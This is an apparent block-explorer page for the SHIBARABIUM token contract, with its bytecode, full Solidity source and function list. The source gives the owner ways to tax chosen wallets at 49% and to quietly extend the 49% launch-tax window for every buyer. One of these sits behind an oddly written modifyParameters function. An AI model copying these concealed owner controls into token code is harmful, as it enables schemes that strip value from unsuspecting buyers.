Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x89f7b87eaE6D6d1Dc57Da95f185Edf0726bC0f4D
Balance 0 ETH
Nonce 1
Code Size 7230 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

7230 bytes
0x6080604052600436106101445760003560e01c80638129fc1c116100b6578063aa4bde281161006f578063aa4bde281461039c578063c9567bf9146103b1578063dd62ed3e146103c6578063f1f5cd911461040c578063f318bbfe14610421578063f8d982b21461044157600080fd5b80638129fc1c146102ff5780638da5cb5b1461031457806395d89b41146101505780639686d3221461033c5780639c0db5f31461035c578063a9059cbb1461037c57600080fd5b806323b872dd1161010857806323b872dd146102285780633049b58014610248578063313ce5671461026857806370a0823114610284578063715018a6146102ba57806374378132146102cf57600080fd5b806306fdde0314610150578063095ea7b31461019357806309fb5639146101c35780630b78f9c0146101e557806318160ddd1461020557600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600b81526a534849424152414249554d60a81b6020820152905161018a91906116d8565b60405180910390f35b34801561019f57600080fd5b506101b36101ae366004611742565b610461565b604051901515815260200161018a565b3480156101cf57600080fd5b506101e36101de36600461177c565b610478565b005b3480156101f157600080fd5b506101e3610200366004611797565b6104c9565b34801561021157600080fd5b5061021a610556565b60405190815260200161018a565b34801561023457600080fd5b506101b36102433660046117b9565b610577565b34801561025457600080fd5b506101e36102633660046117f5565b61064b565b34801561027457600080fd5b506040516009815260200161018a565b34801561029057600080fd5b5061021a61029f36600461180e565b6001600160a01b031660009081526001602052604090205490565b3480156102c657600080fd5b506101e3610707565b3480156102db57600080fd5b506007546008546102ea919082565b6040805192835260208301919091520161018a565b34801561030b57600080fd5b506101e361077b565b34801561032057600080fd5b506000546040516001600160a01b03909116815260200161018a565b34801561034857600080fd5b506101e3610357366004611829565b6107c7565b34801561036857600080fd5b506101e36103773660046118a8565b610831565b34801561038857600080fd5b506101b3610397366004611742565b6109c1565b3480156103a857600080fd5b5061021a6109ce565b3480156103bd57600080fd5b506101e36109ea565b3480156103d257600080fd5b5061021a6103e13660046118fc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041857600080fd5b5061021a603181565b34801561042d57600080fd5b506101e361043c366004611926565b610a9b565b34801561044d57600080fd5b506101e361045c3660046117f5565b610b23565b600061046e338484610c11565b5060015b92915050565b336001600160a01b037f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b16146104ad57600080fd5b60098054911515620100000262ff000019909216919091179055565b336001600160a01b037f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b16146104fe57600080fd5b6007548211156105295760405162461bcd60e51b815260040161052090611972565b60405180910390fd5b60085481111561054b5760405162461bcd60e51b815260040161052090611972565b600791909155600855565b60006105646009600a611aaf565b610572906307270e00611abe565b905090565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156105fb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610520565b6001600160a01b038416600090815260026020908152604080832033808552925290912054610636918691610631908690611ad5565b610c11565b610641848484610d35565b5060019392505050565b336001600160a01b037f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b161461068057600080fd5b6000811180156106905750600481105b6107025760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c65000000006064820152608401610520565b600655565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161052090611ae8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161052090611ae8565b600b805460029160006107b783611b1d565b91905055106107c557600080fd5b565b6000546001600160a01b031633146107f15760405162461bcd60e51b815260040161052090611ae8565b306001600160a01b0383160361080657600080fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461085b5760405162461bcd60e51b815260040161052090611ae8565b60005b828110156109bb577f000000000000000000000000045f042d102b36e07baa5f41996fa4651154a5ac6001600160a01b03168484838181106108a2576108a2611b36565b90506020020160208101906108b7919061180e565b6001600160a01b0316141580156109115750737a250d5630b4cf539739df2c5dacb4c659f2488d8484838181106108f0576108f0611b36565b9050602002016020810190610905919061180e565b6001600160a01b031614155b801561094c57503084848381811061092b5761092b611b36565b9050602002016020810190610940919061180e565b6001600160a01b031614155b61095557600080fd5b816003600086868581811061096c5761096c611b36565b9050602002016020810190610981919061180e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109b381611b1d565b91505061085e565b50505050565b600061046e338484610d35565b6109da6009600a611aaf565b6109e79062249f01611abe565b81565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161052090611ae8565b600b546002148015610a29575060095460ff16155b610a755760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e00000000006044820152606401610520565b43600a6000828254610a879190611b4c565b90915550506009805460ff19166001179055565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161052090611ae8565b6002600b54108015610ae657506002600b546001610ae39190611b4c565b10155b610af257610af2611b5f565b600b8054906000610b0283611b1d565b919050555080600a6000828254610b199190611b4c565b9091555050505050565b336001600160a01b037f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b1614610b5857600080fd5b806000108015610b69575060648111155b610bdb5760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c650000000000000000006064820152608401610520565b30600090815260016020526040812054606490610bf89084611abe565b610c029190611b75565b9050610c0d81611275565b5050565b6001600160a01b038316610c735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610520565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610520565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954839060ff1680610d7957507f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b6001600160a01b0316816001600160a01b0316145b80610da057506001600160a01b038116734ee7d1b052353a512694a7bafc7e81766ee8509b145b610da957600080fd5b6001600160a01b038416610e0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610520565b6001600160a01b038316610e6f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610520565b60008211610ed85760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610520565b6001600160a01b03841660009081526001602052604081208054849290610f00908490611ad5565b90915550506001600160a01b0384163014801590610f3b57506001600160a01b038416734ee7d1b052353a512694a7bafc7e81766ee8509b14155b8015610f6457506001600160a01b038316734ee7d1b052353a512694a7bafc7e81766ee8509b14155b8015610fa257507f0000000000000000000000004ee7d1b052353a512694a7bafc7e81766ee8509b6001600160a01b0316836001600160a01b031614155b156111f35760095462010000900460ff168015610fd857506001600160a01b03841660009081526005602052604090205460ff16155b8015610ffd57506001600160a01b03831660009081526005602052604090205460ff16155b1561103457600061100e8585611468565b905061101981611495565b6001600160a01b031660009081526004602052604090204390555b7f000000000000000000000000045f042d102b36e07baa5f41996fa4651154a5ac6001600160a01b0316846001600160a01b031614801561109257506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611140576110a36009600a611aaf565b6110b09062249f01611abe565b826110d0856001600160a01b031660009081526001602052604090205490565b6110da9190611b4c565b11156111405760405162461bcd60e51b815260206004820152602f60248201527f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f60448201526e1b881bd9881b585e081dd85b1b195d608a1b6064820152608401610520565b3060009081526001602052604090205461115a8582611537565b156111685761116881611275565b600061117486856115c8565b905080156111f0576111868185611ad5565b306000908152600160205260408120805492965083929091906111aa908490611b4c565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b50505b6001600160a01b0383166000908152600160205260408120805484929061121b908490611b4c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126791815260200190565b60405180910390a350505050565b6009805461ff00191661010017905561128d81611680565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156112f9576112f930737a250d5630b4cf539739df2c5dacb4c659f2488d6112eb6009600a611aaf565b610631906307270e00611abe565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611b36565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061138257611382611b36565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906113da908590600090869030904290600401611b97565b600060405180830381600087803b1580156113f457600080fd5b505af1158015611408573d6000803e3d6000fd5b50479250508115905061145857604051734ee7d1b052353a512694a7bafc7e81766ee8509b9082156108fc029083906000818181858888f19350505050158015611456573d6000803e3d6000fd5b505b50506009805461ff001916905550565b6000823b15806114775750813b155b61148057600080fd5b823b1561148e575080610472565b5081610472565b6001600160a01b03811660009081526004602052604081205415806114e857506114c0436001611b4c565b6006546001600160a01b0384166000908152600460205260409020546114e69190611b4c565b105b905080610c0d5760405162461bcd60e51b815260206004820152601a60248201527f4d6178207478206672657175656e6379206578636565646564210000000000006044820152606401610520565b600954600090610100900460ff1615801561158457507f000000000000000000000000045f042d102b36e07baa5f41996fa4651154a5ac6001600160a01b0316836001600160a01b031614155b80156115a757506115976009600a611aaf565b6115a490620f4241611abe565b82115b80156115c1575043600a5460016115be9190611b4c565b11155b9392505050565b6001600160a01b03821660009081526003602052604081205460ff16806115f15750600a544311155b15611614576064611603603184611abe565b61160d9190611b75565b9050610472565b6064600a54600014611669577f000000000000000000000000045f042d102b36e07baa5f41996fa4651154a5ac6001600160a01b0316846001600160a01b0316146116615760085461166c565b60075461166c565b60195b6116769084611abe565b6115c19190611b75565b600061168e6009600a611aaf565b61169b9062249f01611abe565b82116116bf576116ad6009600a611aaf565b6116ba90620f4241611abe565b610472565b6116cb6009600a611aaf565b6104729062249f01611abe565b600060208083528351808285015260005b81811015611705578581018301518582016040015282016116e9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461173d57600080fd5b919050565b6000806040838503121561175557600080fd5b61175e83611726565b946020939093013593505050565b8035801515811461173d57600080fd5b60006020828403121561178e57600080fd5b6115c18261176c565b600080604083850312156117aa57600080fd5b50508035926020909101359150565b6000806000606084860312156117ce57600080fd5b6117d784611726565b92506117e560208501611726565b9150604084013590509250925092565b60006020828403121561180757600080fd5b5035919050565b60006020828403121561182057600080fd5b6115c182611726565b6000806040838503121561183c57600080fd5b61184583611726565b91506118536020840161176c565b90509250929050565b60008083601f84011261186e57600080fd5b50813567ffffffffffffffff81111561188657600080fd5b6020830191508360208260051b85010111156118a157600080fd5b9250929050565b6000806000604084860312156118bd57600080fd5b833567ffffffffffffffff8111156118d457600080fd5b6118e08682870161185c565b90945092506118f390506020850161176c565b90509250925092565b6000806040838503121561190f57600080fd5b61191883611726565b915061185360208401611726565b60008060006040848603121561193b57600080fd5b833567ffffffffffffffff81111561195257600080fd5b61195e8682870161185c565b909790965060209590950135949350505050565b60208082526023908201527f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69746040820152621d195960ea1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a065781600019048211156119ec576119ec6119b5565b808516156119f957918102915b93841c93908002906119d0565b509250929050565b600082611a1d57506001610472565b81611a2a57506000610472565b8160018114611a405760028114611a4a57611a66565b6001915050610472565b60ff841115611a5b57611a5b6119b5565b50506001821b610472565b5060208310610133831016604e8410600b8410161715611a89575081810a610472565b611a9383836119cb565b8060001904821115611aa757611aa76119b5565b029392505050565b60006115c160ff841683611a0e565b8082028115828204841417610472576104726119b5565b81810381811115610472576104726119b5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060018201611b2f57611b2f6119b5565b5060010190565b634e487b7160e01b600052603260045260246000fd5b80820180821115610472576104726119b5565b634e487b7160e01b600052600160045260246000fd5b600082611b9257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611be75784516001600160a01b031683529383019391830191600101611bc2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220382339b8a1b3817c9b353ad7f1c11696de4c25caced2521aa56249ef636f97f764736f6c63430008110033

Verified Source Code Partial Match

Compiler: v0.8.17+commit.8df45f5f EVM: london Optimization: Yes (200 runs)
SHIBARABIUM.sol 309 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract SHIBARABIUM is IERC20, Ownable {       
    string private constant _name = "SHIBARABIUM";
    string private constant _symbol = "SHIBARABIUM";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 120_000_000 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _blocked;

    mapping (address => uint256) private _lastTradeBlock;
    mapping (address => bool) private isContractExempt;
    uint256 private tradeCooldown = 1;
    
    uint256 public constant maxWalletAmount = 2_400_001 * 10**_decimals;
    uint256 private constant contractSwapLimit = 1_000_001 * 10**_decimals;
    uint256 private constant contractSwapMax = 2_400_001 * 10**_decimals;

    struct TradingFees{
        uint256 buyTax;
        uint256 sellTax;
    }  

    TradingFees public tradingFees = TradingFees(10,25);
    uint256 public constant sniperTax = 49;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private immutable deployerAddress = payable(msg.sender);
    address payable private constant MGTreasury = payable(0x4EE7D1b052353a512694A7bafC7e81766Ee8509b);

    bool private tradingOpen = false;
    bool private swapping = false;
    bool private antiMEV = true;
    uint256 private startingBlock;
    uint private preLaunch;

    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock(address sender) {
        require(tradingOpen || sender == deployerAddress || sender == MGTreasury);
        _;
    }

    constructor () {
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        isContractExempt[address(this)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != MGTreasury && to != MGTreasury && to != deployerAddress) {
            
            if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
                address human = ensureOneHuman(from, to);
                ensureMaxTxFrequency(human);
                _lastTradeBlock[human] = block.number;
            }

            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: transfer implies violation of max wallet");
            }

           uint256 contractTokenBalance = balanceOf(address(this));
           if (shouldSwapback(from, contractTokenBalance)) 
               swapback(contractTokenBalance);                            

           uint256 taxedTokens = takeFee(from, amount);
           if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapback(uint256 tokenAmount) private swapLock {
        tokenAmount = getSwapAmount(tokenAmount);
        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            MGTreasury.transfer(contractETHBalance);
        }
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
        shouldSwap = !swapping && from != uniswapPair && tokenAmount > contractSwapLimit && 1 + startingBlock <= block.number;
    }

    function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
        swapAmount = tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
    }

    function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
         if(_blocked[from] || block.number <= startingBlock)
                feeAmount = amount * sniperTax / 100;
        else
            feeAmount = amount * (startingBlock == 0 ? 25 : (from == uniswapPair ? tradingFees.buyTax : tradingFees.sellTax)) / 100;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == deployerAddress);
        antiMEV = toggle;
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == deployerAddress);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;
    }

    function manualSwapback(uint256 percent) external {
        require(msg.sender == deployerAddress);
        require(0 < percent && percent <= 100, "Token: only percent values in range (0,100] permissible");
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function setFees(uint256 newBuyTax, uint256 newSellTax) external {
        require(msg.sender == deployerAddress);
        require(newBuyTax <= tradingFees.buyTax, "Token: only fee reduction permitted");
        require(newSellTax <= tradingFees.sellTax, "Token: only fee reduction permitted");
        tradingFees.buyTax = newBuyTax;
        tradingFees.sellTax = newSellTax;
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;
    }

    function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < bots.length; i++) {
            require(bots[i] != uniswapPair && 
                    bots[i] != address(uniswapRouter) &&
                    bots[i] != address(this));
            _blocked[bots[i]] = shouldBlock;
        }
    }

    function initialize() external onlyOwner {
        require(preLaunch++<2);
    }

    function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
        assert(preLaunch<2&&preLaunch+1>=2); 
        preLaunch++;param;
        startingBlock += nrBlocks;
    }

    function openTrading() external onlyOwner {
        require(preLaunch == 2 && !tradingOpen, "Token: trading already open");
        startingBlock += block.number;
        tradingOpen = true;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxWalletAmount 0xaa4bde28 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sniperTax 0xf1f5cd91 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingFees 0x74378132 → uint256, uint256

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initialize 0x8129fc1c
No parameters
manualSwapback 0xf8d982b2
uint256 percent
modifyParameters 0xf318bbfe
bool[] param
uint256 nrBlocks
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setBots 0x9c0db5f3
address[] bots
bool shouldBlock
setContractExempt 0x9686d322
address account
bool value
setFees 0x0b78f9c0
uint256 newBuyTax
uint256 newSellTax
setTradeCooldown 0x3049b580
uint256 newTradeCooldown
toggleAntiMEV 0x09fb5639
bool toggle
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address